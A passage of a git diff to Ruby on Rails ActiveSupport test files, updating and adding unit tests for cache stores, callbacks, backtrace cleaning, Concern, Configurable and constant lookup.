assert_equal 'c99/foo', ActiveSupport::Cache.expand_cache_key(:foo)
assert_equal 'c99/foo', ActiveSupport::Cache.expand_cache_key([:foo])
assert_equal 'c99/foo/bar', ActiveSupport::Cache.expand_cache_key([:foo, :bar])
assert_equal 'nm/c99/foo', ActiveSupport::Cache.expand_cache_key(:foo, :nm)
assert_equal 'nm/c99/foo', ActiveSupport::Cache.expand_cache_key([:foo], :nm)
assert_equal 'nm/c99/foo/bar', ActiveSupport::Cache.expand_cache_key([:foo, :bar], :nm)
- ensure
- ENV['RAILS_CACHE_ID'] = nil
end
end
def test_expand_cache_key_with_rails_app_version
- begin
- ENV['RAILS_APP_VERSION'] = 'rails3'
+ with_env('RAILS_APP_VERSION' => 'rails3') do
assert_equal 'rails3/foo', ActiveSupport::Cache.expand_cache_key(:foo)
- ensure
- ENV['RAILS_APP_VERSION'] = nil
end
end
def test_expand_cache_key_rails_cache_id_should_win_over_rails_app_version
- begin
- ENV['RAILS_CACHE_ID'] = 'c99'
- ENV['RAILS_APP_VERSION'] = 'rails3'
+ with_env('RAILS_CACHE_ID' => 'c99', 'RAILS_APP_VERSION' => 'rails3') do
assert_equal 'c99/foo', ActiveSupport::Cache.expand_cache_key(:foo)
- ensure
- ENV['RAILS_CACHE_ID'] = nil
- ENV['RAILS_APP_VERSION'] = nil
end
end
@@ -88,6 +113,16 @@ class CacheKeyTest < ActiveSupport::TestCase
def test_expand_cache_key_of_array_like_object
assert_equal 'foo/bar/baz', ActiveSupport::Cache.expand_cache_key(%w{foo bar baz}.to_enum)
end
+
+ private
+
+ def with_env(kv)
+ old_values = {}
+ kv.each { |key, value| old_values[key], ENV[key] = ENV[key], value }
+ yield
+ ensure
+ old_values.each { |key, value| ENV[key] = value}
+ end
end
class CacheStoreSettingTest < ActiveSupport::TestCase
@@ -110,12 +145,12 @@ class CacheStoreSettingTest < ActiveSupport::TestCase
assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
end
- def test_mem_cache_fragment_cache_store_with_given_mem_cache_like_object
+ def test_mem_cache_fragment_cache_store_with_not_dalli_client
Dalli::Client.expects(:new).never
memcache = Object.new
- def memcache.get() true end
- store = ActiveSupport::Cache.lookup_store :mem_cache_store, memcache
- assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
+ assert_raises(ArgumentError) do
+ ActiveSupport::Cache.lookup_store :mem_cache_store, memcache
+ end
end
def test_mem_cache_fragment_cache_store_with_multiple_servers
@@ -257,6 +292,27 @@ module CacheStoreBehavior
assert_equal({"fu" => "baz"}, @cache.read_multi('foo', 'fu'))
end
+ def test_fetch_multi
+ @cache.write('foo', 'bar')
+ @cache.write('fud', 'biz')
+
+ values = @cache.fetch_multi('foo', 'fu', 'fud') { |value| value * 2 }
+
+ assert_equal({ 'foo' => 'bar', 'fu' => 'fufu', 'fud' => 'biz' }, values)
+ assert_equal('fufu', @cache.read('fu'))
+ end
+
+ def test_multi_with_objects
+ foo = stub(:title => 'FOO!', :cache_key => 'foo')
+ bar = stub(:cache_key => 'bar')
+
+ @cache.write('bar', 'BAM!')
+
+ values = @cache.fetch_multi(foo, bar) { |object| object.title }
+
+ assert_equal({ foo => 'FOO!', bar => 'BAM!' }, values)
+ end
+
def test_read_and_write_compressed_small_data
@cache.write('foo', 'bar', :compress => true)
assert_equal 'bar', @cache.read('foo')
@@ -307,8 +363,8 @@ module CacheStoreBehavior
def test_exist
@cache.write('foo', 'bar')
- assert @cache.exist?('foo')
- assert !@cache.exist?('bar')
+ assert_equal true, @cache.exist?('foo')
+ assert_equal false, @cache.exist?('bar')
end
def test_nil_exist
@@ -405,7 +461,7 @@ module CacheStoreBehavior
end
# https://rails.lighthouseapp.com/projects/8994/tickets/6225-memcachestore-cant-deal-with-umlauts-and-special-characters
-# The error is caused by charcter encodings that can't be compared with ASCII-8BIT regular expressions and by special
+# The error is caused by character encodings that can't be compared with ASCII-8BIT regular expressions and by special
# characters like the umlaut in UTF-8.
module EncodedKeyCacheBehavior
Encoding.list.each do |encoding|
@@ -557,6 +613,7 @@ module LocalCacheBehavior
result = @cache.write('foo', 'bar')
assert_equal 'bar', @cache.read('foo') # make sure 'foo' was written
assert result
+ [200, {}, []]
}
app = @cache.middleware.new(app)
app.call({})
@@ -564,7 +621,7 @@ module LocalCacheBehavior
end
module AutoloadingCacheBehavior
- include DependeciesTestHelpers
+ include DependenciesTestHelpers
def test_simple_autoloading
with_autoloading_fixtures do
@cache.write('foo', E.new)
@@ -634,6 +691,11 @@ class FileStoreTest < ActiveSupport::TestCase
assert File.exist?(filepath)
end
+ def test_long_keys
+ @cache.write("a"*10000, 1)
+ assert_equal 1, @cache.read("a"*10000)
+ end
+
def test_key_transformation
key = @cache.send(:key_file_path, "views/index?id=1")
assert_equal "views/index?id=1", @cache.send(:file_path_key, key)
@@ -672,17 +734,48 @@ class FileStoreTest < ActiveSupport::TestCase
end
end
+ def test_delete_does_not_delete_empty_parent_dir
+ sub_cache_dir = File.join(cache_dir, 'subdir/')
+ sub_cache_store = ActiveSupport::Cache::FileStore.new(sub_cache_dir)
+ assert_nothing_raised(Exception) do
+ assert sub_cache_store.write('foo', 'bar')
+ assert sub_cache_store.delete('foo')
+ end
+ assert File.exist?(cache_dir), "Parent of top level cache dir was deleted!"
+ assert File.exist?(sub_cache_dir), "Top level cache dir was deleted!"
+ assert Dir.entries(sub_cache_dir).reject {|f| ActiveSupport::Cache::FileStore::EXCLUDED_DIRS.include?(f)}.empty?
+ end
+
def test_log_exception_when_cache_read_fails
File.expects(:exist?).raises(StandardError, "failed")
@cache.send(:read_entry, "winston", {})
- assert_present @buffer.string
+ assert @buffer.string.present?
+ end
+
+ def test_cleanup_removes_all_expired_entries
+ time = Time.now
+ @cache.write('foo', 'bar', expires_in: 10)
+ @cache.write('baz', 'qux')
+ @cache.write('quux', 'corge', expires_in: 20)
+ Time.stubs(:now).returns(time + 15)
+ @cache.cleanup
+ assert_not @cache.exist?('foo')
+ assert @cache.exist?('baz')
+ assert @cache.exist?('quux')
+ end
+
+ def test_write_with_unless_exist
+ assert_equal true, @cache.write(1, "aaaaaaaaaa")
+ assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
+ @cache.write(1, nil)
+ assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
end
end
class MemoryStoreTest < ActiveSupport::TestCase
def setup
- @record_size = ActiveSupport::Cache::Entry.new("aaaaaaaaaa").size
- @cache = ActiveSupport::Cache.lookup_store(:memory_store, :expires_in => 60, :size => @record_size * 10)
+ @record_size = ActiveSupport::Cache.lookup_store(:memory_store).send(:cached_size, 1, ActiveSupport::Cache::Entry.new("aaaaaaaaaa"))
+ @cache = ActiveSupport::Cache.lookup_store(:memory_store, :expires_in => 60, :size => @record_size * 10 + 1)
end
include CacheStoreBehavior
@@ -732,6 +825,30 @@ class MemoryStoreTest < ActiveSupport::TestCase
assert !@cache.exist?(1), "no entry"
end
+ def test_prune_size_on_write_based_on_key_length
+ @cache.write(1, "aaaaaaaaaa") && sleep(0.001)
+ @cache.write(2, "bbbbbbbbbb") && sleep(0.001)
+ @cache.write(3, "cccccccccc") && sleep(0.001)
+ @cache.write(4, "dddddddddd") && sleep(0.001)
+ @cache.write(5, "eeeeeeeeee") && sleep(0.001)
+ @cache.write(6, "ffffffffff") && sleep(0.001)
+ @cache.write(7, "gggggggggg") && sleep(0.001)
+ @cache.write(8, "hhhhhhhhhh") && sleep(0.001)
+ @cache.write(9, "iiiiiiiiii") && sleep(0.001)
+ long_key = '*' * 2 * @record_size
+ @cache.write(long_key, "llllllllll")
+ assert @cache.exist?(long_key)
+ assert @cache.exist?(9)
+ assert @cache.exist?(8)
+ assert @cache.exist?(7)
+ assert @cache.exist?(6)
+ assert !@cache.exist?(5), "no entry"
+ assert !@cache.exist?(4), "no entry"
+ assert !@cache.exist?(3), "no entry"
+ assert !@cache.exist?(2), "no entry"
+ assert !@cache.exist?(1), "no entry"
+ end
+
def test_pruning_is_capped_at_a_max_time
def @cache.delete_entry (*args)
sleep(0.01)
@@ -822,8 +939,8 @@ class MemCacheStoreTest < ActiveSupport::TestCase
def test_read_should_return_a_different_object_id_each_time_it_is_called
@cache.write('foo', 'bar')
- assert_not_equal @cache.read('foo').object_id, @cache.read('foo').object_id
value = @cache.read('foo')
+ assert_not_equal value.object_id, @cache.read('foo').object_id
value << 'bingo'
assert_not_equal value, @cache.read('foo')
end
@@ -897,12 +1014,12 @@ class CacheStoreLoggerTest < ActiveSupport::TestCase
def test_logging
@cache.fetch('foo') { 'bar' }
- assert_present @buffer.string
+ assert @buffer.string.present?
end
def test_mute_logging
@cache.mute { @cache.fetch('foo') { 'bar' } }
- assert_blank @buffer.string
+ assert @buffer.string.blank?
end
end
@@ -931,29 +1048,28 @@ class CacheEntryTest < ActiveSupport::TestCase
assert_equal value.bytesize, entry.size
end
- def test_restoring_version_3_entries
- version_3_entry = ActiveSupport::Cache::Entry.allocate
- version_3_entry.instance_variable_set(:@value, "hello")
- version_3_entry.instance_variable_set(:@created_at, Time.now - 60)
- entry = Marshal.load(Marshal.dump(version_3_entry))
+ def test_restoring_version_4beta1_entries
+ version_4beta1_entry = ActiveSupport::Cache::Entry.allocate
+ version_4beta1_entry.instance_variable_set(:@v, "hello")
+ version_4beta1_entry.instance_variable_set(:@x, Time.now.to_i + 60)
+ entry = Marshal.load(Marshal.dump(version_4beta1_entry))
assert_equal "hello", entry.value
assert_equal false, entry.expired?
end
- def test_restoring_compressed_version_3_entries
- version_3_entry = ActiveSupport::Cache::Entry.allocate
- version_3_entry.instance_variable_set(:@value, Zlib::Deflate.deflate(Marshal.dump("hello")))
- version_3_entry.instance_variable_set(:@compressed, true)
- entry = Marshal.load(Marshal.dump(version_3_entry))
+ def test_restoring_compressed_version_4beta1_entries
+ version_4beta1_entry = ActiveSupport::Cache::Entry.allocate
+ version_4beta1_entry.instance_variable_set(:@v, Zlib::Deflate.deflate(Marshal.dump("hello")))
+ version_4beta1_entry.instance_variable_set(:@c, true)
+ entry = Marshal.load(Marshal.dump(version_4beta1_entry))
assert_equal "hello", entry.value
end
- def test_restoring_expired_version_3_entries
- version_3_entry = ActiveSupport::Cache::Entry.allocate
- version_3_entry.instance_variable_set(:@value, "hello")
- version_3_entry.instance_variable_set(:@created_at, Time.now - 60)
- version_3_entry.instance_variable_set(:@expires_in, 58.9)
- entry = Marshal.load(Marshal.dump(version_3_entry))
+ def test_restoring_expired_version_4beta1_entries
+ version_4beta1_entry = ActiveSupport::Cache::Entry.allocate
+ version_4beta1_entry.instance_variable_set(:@v, "hello")
+ version_4beta1_entry.instance_variable_set(:@x, Time.now.to_i - 1)
+ entry = Marshal.load(Marshal.dump(version_4beta1_entry))
assert_equal "hello", entry.value
assert_equal true, entry.expired?
end
diff --git a/activesupport/test/callback_inheritance_test.rb b/activesupport/test/callback_inheritance_test.rb
index 6be8ea8b84..1adfe4edf4 100644
--- a/activesupport/test/callback_inheritance_test.rb
+++ b/activesupport/test/callback_inheritance_test.rb
@@ -109,7 +109,6 @@ class BasicCallbacksTest < ActiveSupport::TestCase
@index = GrandParent.new("index").dispatch
@update = GrandParent.new("update").dispatch
@delete = GrandParent.new("delete").dispatch
- @unknown = GrandParent.new("unknown").dispatch
end
def test_basic_conditional_callback1
@@ -130,7 +129,6 @@ class InheritedCallbacksTest < ActiveSupport::TestCase
@index = Parent.new("index").dispatch
@update = Parent.new("update").dispatch
@delete = Parent.new("delete").dispatch
- @unknown = Parent.new("unknown").dispatch
end
def test_inherited_excluded
diff --git a/activesupport/test/callbacks_test.rb b/activesupport/test/callbacks_test.rb
index 8810302f40..32c2dfdfc0 100644
--- a/activesupport/test/callbacks_test.rb
+++ b/activesupport/test/callbacks_test.rb
@@ -1,27 +1,6 @@
require 'abstract_unit'
module CallbacksTest
- class Phone
- include ActiveSupport::Callbacks
- define_callbacks :save
-
- set_callback :save, :before, :before_save1
- set_callback :save, :after, :after_save1
-
- def before_save1; self.history << :before; end
- def after_save1; self.history << :after; end
-
- def save
- run_callbacks :save do
- raise 'boom'
- end
- end
-
- def history
- @history ||= []
- end
- end
-
class Record
include ActiveSupport::Callbacks
@@ -66,6 +45,16 @@ module CallbacksTest
end
end
+ class CallbackClass
+ def self.before(model)
+ model.history << [:before_save, :class]
+ end
+
+ def self.after(model)
+ model.history << [:after_save, :class]
+ end
+ end
+
class Person < Record
[:before_save, :after_save].each do |callback_method|
callback_method_sym = callback_method.to_sym
@@ -73,6 +62,7 @@ module CallbacksTest
send(callback_method, callback_string(callback_method_sym))
send(callback_method, callback_proc(callback_method_sym))
send(callback_method, callback_object(callback_method_sym.to_s.gsub(/_save/, '')))
+ send(callback_method, CallbackClass)
send(callback_method) { |model| model.history << [callback_method_sym, :block] }
end
@@ -86,10 +76,14 @@ module CallbacksTest
skip_callback :save, :after, :before_save_method, :unless => :yes
skip_callback :save, :after, :before_save_method, :if => :no
skip_callback :save, :before, :before_save_method, :unless => :no
+ skip_callback :save, :before, CallbackClass , :if => :yes
def yes; true; end
def no; false; end
end
+ class PersonForProgrammaticSkipping < Person
+ end
+
class ParentController
include ActiveSupport::Callbacks
@@ -297,7 +291,7 @@ module CallbacksTest
end
end
end
-
+
class AroundPersonResult < MySuper
attr_reader :result
@@ -308,7 +302,7 @@ module CallbacksTest
def tweedle_dum
@result = yield
end
-
+
def tweedle_1
:tweedle_1
end
@@ -316,7 +310,7 @@ module CallbacksTest
def tweedle_2
:tweedle_2
end
-
+
def save
run_callbacks :save do
:running
@@ -410,7 +404,7 @@ module CallbacksTest
], around.history
end
end
-
+
class AroundCallbackResultTest < ActiveSupport::TestCase
def test_save_around
around = AroundPersonResult.new
@@ -430,6 +424,26 @@ module CallbacksTest
[:before_save, :object],
[:before_save, :block],
[:after_save, :block],
+ [:after_save, :class],
+ [:after_save, :object],
+ [:after_save, :proc],
+ [:after_save, :string],
+ [:after_save, :symbol]
+ ], person.history
+ end
+
+ def test_skip_person_programmatically
+ PersonForProgrammaticSkipping._save_callbacks.each do |save_callback|
+ if "before" == save_callback.kind.to_s
+ PersonForProgrammaticSkipping.skip_callback("save", save_callback.kind, save_callback.filter)
+ end
+ end
+ person = PersonForProgrammaticSkipping.new
+ assert_equal [], person.history
+ person.save
+ assert_equal [
+ [:after_save, :block],
+ [:after_save, :class],
[:after_save, :object],
[:after_save, :proc],
[:after_save, :string],
@@ -449,8 +463,10 @@ module CallbacksTest
[:before_save, :string],
[:before_save, :proc],
[:before_save, :object],
+ [:before_save, :class],
[:before_save, :block],
[:after_save, :block],
+ [:after_save, :class],
[:after_save, :object],
[:after_save, :proc],
[:after_save, :string],
@@ -488,7 +504,7 @@ module CallbacksTest
class CallbackTerminator
include ActiveSupport::Callbacks
- define_callbacks :save, :terminator => "result == :halt"
+ define_callbacks :save, :terminator => ->(_,result) { result == :halt }
set_callback :save, :before, :first
set_callback :save, :before, :second
@@ -607,6 +623,45 @@ module CallbacksTest
end
end
+ class OneTwoThreeSave
+ include ActiveSupport::Callbacks
+
+ define_callbacks :save
+
+ attr_accessor :record
+
+ def initialize
+ @record = []
+ end
+
+ def save
+ run_callbacks :save do
+ @record << "yielded"
+ end
+ end
+
+ def first
+ @record << "one"
+ end
+
+ def second
+ @record << "two"
+ end
+
+ def third
+ @record << "three"
+ end
+ end
+
+ class DuplicatingCallbacks < OneTwoThreeSave
+ set_callback :save, :before, :first, :second
+ set_callback :save, :before, :first, :third
+ end
+
+ class DuplicatingCallbacksInSameCall < OneTwoThreeSave
+ set_callback :save, :before, :first, :second, :first, :third
+ end
+
class UsingObjectTest < ActiveSupport::TestCase
def test_before_object
u = UsingObjectBefore.new
@@ -642,7 +697,7 @@ module CallbacksTest
def test_termination_invokes_hook
terminator = CallbackTerminator.new
terminator.save
- assert_equal ":second", terminator.halted
+ assert_equal :second, terminator.halted
end
def test_block_never_called_if_terminated
@@ -676,8 +731,10 @@ module CallbacksTest
[:before_save, :string],
[:before_save, :proc],
[:before_save, :object],
+ [:before_save, :class],
[:before_save, :block],
[:after_save, :block],
+ [:after_save, :class],
[:after_save, :object],
[:after_save, :proc],
[:after_save, :string],
@@ -694,20 +751,253 @@ module CallbacksTest
end
end
- class PerKeyOptionDeprecationTest < ActiveSupport::TestCase
+ class ExcludingDuplicatesCallbackTest < ActiveSupport::TestCase
+ def test_excludes_duplicates_in_separate_calls
+ model = DuplicatingCallbacks.new
+ model.save
+ assert_equal ["two", "one", "three", "yielded"], model.record
+ end
- def test_per_key_option_deprecaton
- assert_raise NotImplementedError do
- Phone.class_eval do
- set_callback :save, :before, :before_save1, :per_key => {:if => "true"}
- end
+ def test_excludes_duplicates_in_one_call
+ model = DuplicatingCallbacksInSameCall.new
+ model.save
+ assert_equal ["two", "one", "three", "yielded"], model.record
+ end
+ end
+
+ class CallbackProcTest < ActiveSupport::TestCase
+ def build_class(callback)
+ Class.new {
+ include ActiveSupport::Callbacks
+ define_callbacks :foo
+ set_callback :foo, :before, callback
+ def run; run_callbacks :foo; end
+ }
+ end
+
+ def test_proc_arity_0
+ calls = []
+ klass = build_class(->() { calls << :foo })
+ klass.new.run
+ assert_equal [:foo], calls
+ end
+
+ def test_proc_arity_1
+ calls = []
+ klass = build_class(->(o) { calls << o })
+ instance = klass.new
+ instance.run
+ assert_equal [instance], calls
+ end
+
+ def test_proc_arity_2
+ assert_raises(ArgumentError) do
+ klass = build_class(->(x,y) { })
+ klass.new.run
end
- assert_raise NotImplementedError do
- Phone.class_eval do
- skip_callback :save, :before, :before_save1, :per_key => {:if => "true"}
- end
+ end
+
+ def test_proc_negative_called_with_empty_list
+ calls = []
+ klass = build_class(->(*args) { calls << args })
+ klass.new.run
+ assert_equal [[]], calls
+ end
+ end
+
+ class ConditionalTests < ActiveSupport::TestCase
+ def build_class(callback)
+ Class.new {
+ include ActiveSupport::Callbacks
+ define_callbacks :foo
+ set_callback :foo, :before, :foo, :if => callback
+ def foo; end
+ def run; run_callbacks :foo; end
+ }
+ end
+
+ # FIXME: do we really want to support classes as conditionals? There were
+ # no tests for it previous to this.
+ def test_class_conditional_with_scope
+ z = []
+ callback = Class.new {
+ define_singleton_method(:foo) { |o| z << o }
+ }
+ klass = Class.new {
+ include ActiveSupport::Callbacks
+ define_callbacks :foo, :scope => [:name]
+ set_callback :foo, :before, :foo, :if => callback
+ def run; run_callbacks :foo; end
+ private
+ def foo; end
+ }
+ object = klass.new
+ object.run
+ assert_equal [object], z
+ end
+
+ # FIXME: do we really want to support classes as conditionals? There were
+ # no tests for it previous to this.
+ def test_class
+ z = []
+ klass = build_class Class.new {
+ define_singleton_method(:before) { |o| z << o }
+ }
+ object = klass.new
+ object.run
+ assert_equal [object], z
+ end
+
+ def test_proc_negative_arity # passes an empty list if *args
+ z = []
+ object = build_class(->(*args) { z << args }).new
+ object.run
+ assert_equal [], z.flatten
+ end
+
+ def test_proc_arity0
+ z = []
+ object = build_class(->() { z << 0 }).new
+ object.run
+ assert_equal [0], z
+ end
+
+ def test_proc_arity1
+ z = []
+ object = build_class(->(x) { z << x }).new
+ object.run
+ assert_equal [object], z
+ end
+
+ def test_proc_arity2
+ assert_raises(ArgumentError) do
+ object = build_class(->(a,b) { }).new
+ object.run
end
end
end
-
+
+ class ResetCallbackTest < ActiveSupport::TestCase
+ def build_class(memo)
+ klass = Class.new {
+ include ActiveSupport::Callbacks
+ define_callbacks :foo
+ set_callback :foo, :before, :hello
+ def run; run_callbacks :foo; end
+ }
+ klass.class_eval {
+ define_method(:hello) { memo << :hi }
+ }
+ klass
+ end
+
+ def test_reset_callbacks
+ events = []
+ klass = build_class events
+ klass.new.run
+ assert_equal 1, events.length
+
+ klass.reset_callbacks :foo
+ klass.new.run
+ assert_equal 1, events.length
+ end
+
+ def test_reset_impacts_subclasses
+ events = []
+ klass = build_class events
+ subclass = Class.new(klass) { set_callback :foo, :before, :world }
+ subclass.class_eval { define_method(:world) { events << :world } }
+
+ subclass.new.run
+ assert_equal 2, events.length
+
+ klass.reset_callbacks :foo
+ subclass.new.run
+ assert_equal 3, events.length
+ end
+ end
+
+ class CallbackTypeTest < ActiveSupport::TestCase
+ def build_class(callback, n = 10)
+ Class.new {
+ include ActiveSupport::Callbacks
+ define_callbacks :foo
+ n.times { set_callback :foo, :before, callback }
+ def run; run_callbacks :foo; end
+ def self.skip(thing); skip_callback :foo, :before, thing; end
+ }
+ end
+
+ def test_add_class
+ calls = []
+ callback = Class.new {
+ define_singleton_method(:before) { |o| calls << o }
+ }
+ build_class(callback).new.run
+ assert_equal 10, calls.length
+ end
+
+ def test_add_lambda
+ calls = []
+ build_class(->(o) { calls << o }).new.run
+ assert_equal 10, calls.length
+ end
+
+ def test_add_symbol
+ calls = []
+ klass = build_class(:bar)
+ klass.class_eval { define_method(:bar) { calls << klass } }
+ klass.new.run
+ assert_equal 1, calls.length
+ end
+
+ def test_add_eval
+ calls = []
+ klass = build_class("bar")
+ klass.class_eval { define_method(:bar) { calls << klass } }
+ klass.new.run
+ assert_equal 1, calls.length
+ end
+
+ def test_skip_class # removes one at a time
+ calls = []
+ callback = Class.new {
+ define_singleton_method(:before) { |o| calls << o }
+ }
+ klass = build_class(callback)
+ 9.downto(0) { |i|
+ klass.skip callback
+ klass.new.run
+ assert_equal i, calls.length
+ calls.clear
+ }
+ end
+
+ def test_skip_lambda # removes nothing
+ calls = []
+ callback = ->(o) { calls << o }
+ klass = build_class(callback)
+ 10.times { klass.skip callback }
+ klass.new.run
+ assert_equal 10, calls.length
+ end
+
+ def test_skip_symbol # removes all
+ calls = []
+ klass = build_class(:bar)
+ klass.class_eval { define_method(:bar) { calls << klass } }
+ klass.skip :bar
+ klass.new.run
+ assert_equal 0, calls.length
+ end
+
+ def test_skip_eval # removes nothing
+ calls = []
+ klass = build_class("bar")
+ klass.class_eval { define_method(:bar) { calls << klass } }
+ klass.skip "bar"
+ klass.new.run
+ assert_equal 1, calls.length
+ end
+ end
end
diff --git a/activesupport/test/clean_backtrace_test.rb b/activesupport/test/clean_backtrace_test.rb
index b14950acb3..05580352a9 100644
--- a/activesupport/test/clean_backtrace_test.rb
+++ b/activesupport/test/clean_backtrace_test.rb
@@ -34,6 +34,32 @@ class BacktraceCleanerSilencerTest < ActiveSupport::TestCase
[ "/other/class.rb" ],
@bc.clean([ "/mongrel/class.rb", "/other/class.rb", "/mongrel/stuff.rb" ])
end
+
+ test "backtrace cleaner should allow removing silencer" do
+ @bc.remove_silencers!
+ assert_equal ["/mongrel/stuff.rb"], @bc.clean(["/mongrel/stuff.rb"])
+ end
+end
+
+class BacktraceCleanerMultipleSilencersTest < ActiveSupport::TestCase
+ def setup
+ @bc = ActiveSupport::BacktraceCleaner.new
+ @bc.add_silencer { |line| line =~ /mongrel/ }
+ @bc.add_silencer { |line| line =~ /yolo/ }
+ end
+
+ test "backtrace should not contain lines that match the silencers" do
+ assert_equal \
+ [ "/other/class.rb" ],
+ @bc.clean([ "/mongrel/class.rb", "/other/class.rb", "/mongrel/stuff.rb", "/other/yolo.rb" ])
+ end
+
+ test "backtrace should only contain lines that match the silencers" do
+ assert_equal \
+ [ "/mongrel/class.rb", "/mongrel/stuff.rb", "/other/yolo.rb" ],
+ @bc.clean([ "/mongrel/class.rb", "/other/class.rb", "/mongrel/stuff.rb", "/other/yolo.rb" ],
+ :noise)
+ end
end
class BacktraceCleanerFilterAndSilencerTest < ActiveSupport::TestCase
diff --git a/activesupport/test/concern_test.rb b/activesupport/test/concern_test.rb
index 912ce30c29..60bd8a06aa 100644
--- a/activesupport/test/concern_test.rb
+++ b/activesupport/test/concern_test.rb
@@ -5,7 +5,7 @@ class ConcernTest < ActiveSupport::TestCase
module Baz
extend ActiveSupport::Concern
- module ClassMethods
+ class_methods do
def baz
"baz"
end
@@ -33,6 +33,12 @@ class ConcernTest < ActiveSupport::TestCase
include Baz
+ module ClassMethods
+ def baz
+ "bar's baz + " + super
+ end
+ end
+
def bar
"bar"
end
@@ -56,10 +62,6 @@ class ConcernTest < ActiveSupport::TestCase
@klass.send(:include, Baz)
assert_equal "baz", @klass.new.baz
assert @klass.included_modules.include?(ConcernTest::Baz)
-
- @klass.send(:include, Baz)
- assert_equal "baz", @klass.new.baz
- assert @klass.included_modules.include?(ConcernTest::Baz)
end
def test_class_methods_are_extended
@@ -68,12 +70,6 @@ class ConcernTest < ActiveSupport::TestCase
assert_equal ConcernTest::Baz::ClassMethods, (class << @klass; self.included_modules; end)[0]
end
- def test_instance_methods_are_included
- @klass.send(:include, Baz)
- assert_equal "baz", @klass.new.baz
- assert @klass.included_modules.include?(ConcernTest::Baz)
- end
-
def test_included_block_is_ran
@klass.send(:include, Baz)
assert_equal true, @klass.included_ran
@@ -83,7 +79,7 @@ class ConcernTest < ActiveSupport::TestCase
@klass.send(:include, Bar)
assert_equal "bar", @klass.new.bar
assert_equal "bar+baz", @klass.new.baz
- assert_equal "baz", @klass.baz
+ assert_equal "bar's baz + baz", @klass.baz
assert @klass.included_modules.include?(ConcernTest::Bar)
end
@@ -91,4 +87,18 @@ class ConcernTest < ActiveSupport::TestCase
@klass.send(:include, Foo)
assert_equal [ConcernTest::Foo, ConcernTest::Bar, ConcernTest::Baz], @klass.included_modules[0..2]
end
+
+ def test_raise_on_multiple_included_calls
+ assert_raises(ActiveSupport::Concern::MultipleIncludedBlocks) do
+ Module.new do
+ extend ActiveSupport::Concern
+
+ included do
+ end
+
+ included do
+ end
+ end
+ end
+ end
end
diff --git a/activesupport/test/configurable_test.rb b/activesupport/test/configurable_test.rb
index 215a6e06b0..ef847fc557 100644
--- a/activesupport/test/configurable_test.rb
+++ b/activesupport/test/configurable_test.rb
@@ -38,7 +38,7 @@ class ConfigurableActiveSupport < ActiveSupport::TestCase
assert_equal :bar, Parent.config.foo
end
- test "configuration accessors is not available on instance" do
+ test "configuration accessors are not available on instance" do
instance = Parent.new
assert !instance.respond_to?(:bar)
@@ -95,6 +95,20 @@ class ConfigurableActiveSupport < ActiveSupport::TestCase
config_accessor "invalid attribute name"
end
end
+
+ assert_raises NameError do
+ Class.new do
+ include ActiveSupport::Configurable
+ config_accessor "invalid\nattribute"
+ end
+ end
+
+ assert_raises NameError do
+ Class.new do
+ include ActiveSupport::Configurable
+ config_accessor "invalid\n"
+ end
+ end
end
def assert_method_defined(object, method)
diff --git a/activesupport/test/constantize_test_cases.rb b/activesupport/test/constantize_test_cases.rb
index 9b62295c96..366e4e5ef0 100644
--- a/activesupport/test/constantize_test_cases.rb
+++ b/activesupport/test/constantize_test_cases.rb
@@ -1,3 +1,5 @@
+require 'dependencies_test_helpers'
+
module Ace
module Base
class Case
@@ -23,19 +25,30 @@ class Object
end
module ConstantizeTestCases
+ include DependenciesTestHelpers
+
def run_constantize_tests_on
assert_equal Ace::Base::Case, yield("Ace::Base::Case")
assert_equal Ace::Base::Case, yield("::Ace::Base::Case")
assert_equal Ace::Base::Case::Dice, yield("Ace::Base::Case::Dice")
+ assert_equal Ace::Base::Case::Dice, yield("Ace::Base::Fase::Dice")
assert_equal Ace::Base::Fase::Dice, yield("Ace::Base::Fase::Dice")
+
assert_equal Ace::Gas::Case, yield("Ace::Gas::Case")
assert_equal Ace::Gas::Case::Dice, yield("Ace::Gas::Case::Dice")
+ assert_equal Ace::Base::Case::Dice, yield("Ace::Gas::Case::Dice")
+
assert_equal Case::Dice, yield("Case::Dice")
+ assert_equal AddtlGlobalConstants::Case::Dice, yield("Case::Dice")
+ assert_equal Object::AddtlGlobalConstants::Case::Dice, yield("Case::Dice")
+
assert_equal Case::Dice, yield("Object::Case::Dice")
+ assert_equal AddtlGlobalConstants::Case::Dice, yield("Object::Case::Dice")
+ assert_equal Object::AddtlGlobalConstants::Case::Dice, yield("Case::Dice")
+
assert_equal ConstantizeTestCases, yield("ConstantizeTestCases")
assert_equal ConstantizeTestCases, yield("::ConstantizeTestCases")
- assert_equal Object, yield("")
- assert_equal Object, yield("::")
+
assert_raises(NameError) { yield("UnknownClass") }
assert_raises(NameError) { yield("UnknownClass::Ace") }
assert_raises(NameError) { yield("UnknownClass::Ace::Base") }
@@ -45,6 +58,21 @@ module ConstantizeTestCases
assert_raises(NameError) { yield("Ace::Base::ConstantizeTestCases") }
assert_raises(NameError) { yield("Ace::Gas::Base") }
assert_raises(NameError) { yield("Ace::Gas::ConstantizeTestCases") }
+ assert_raises(NameError) { yield("") }
+ assert_raises(NameError) { yield("::") }
+ assert_raises(NameError) { yield("Ace::gas") }
+
+ assert_raises(NameError) do
+ with_autoloading_fixtures do
+ yield("RaisesNameError")
+ end
+ end
+
+ assert_raises(NoMethodError) do
+ with_autoloading_fixtures do
+ yield("RaisesNoMethodError")
+ end
+ end
end
def run_safe_constantize_tests_on
@@ -58,8 +86,8 @@ module ConstantizeTestCases
assert_equal Case::Dice, yield("Object::Case::Dice")
assert_equal ConstantizeTestCases, yield("ConstantizeTestCases")
assert_equal ConstantizeTestCases, yield("::ConstantizeTestCases")
- assert_equal Object, yield("")
- assert_equal Object, yield("::")
+ assert_nil yield("")
+ assert_nil yield("::")
assert_nil yield("UnknownClass")
assert_nil yield("UnknownClass::Ace")
assert_nil yield("UnknownClass::Ace::Base")
@@ -71,5 +99,18 @@ module ConstantizeTestCases
assert_nil yield("Ace::Gas::Base")
assert_nil yield("Ace::Gas::ConstantizeTestCases")
assert_nil yield("#<Class:0x7b8b718b>::Nested_1")
+ assert_nil yield("Ace::gas")
+
+ assert_raises(NameError) do
+ with_autoloading_fixtures do
+ yield("RaisesNameError")
+ end
+ end
+
+ assert_raises(NoMethodError) do
+ with_autoloading_fixtures do
+ yield("RaisesNoMethodError")
+ end
+ end
end
end
diff --git a/activesupport/test/core_ext/array/access_test.rb b/activesupport/test/core_ext/array/access_test.rb
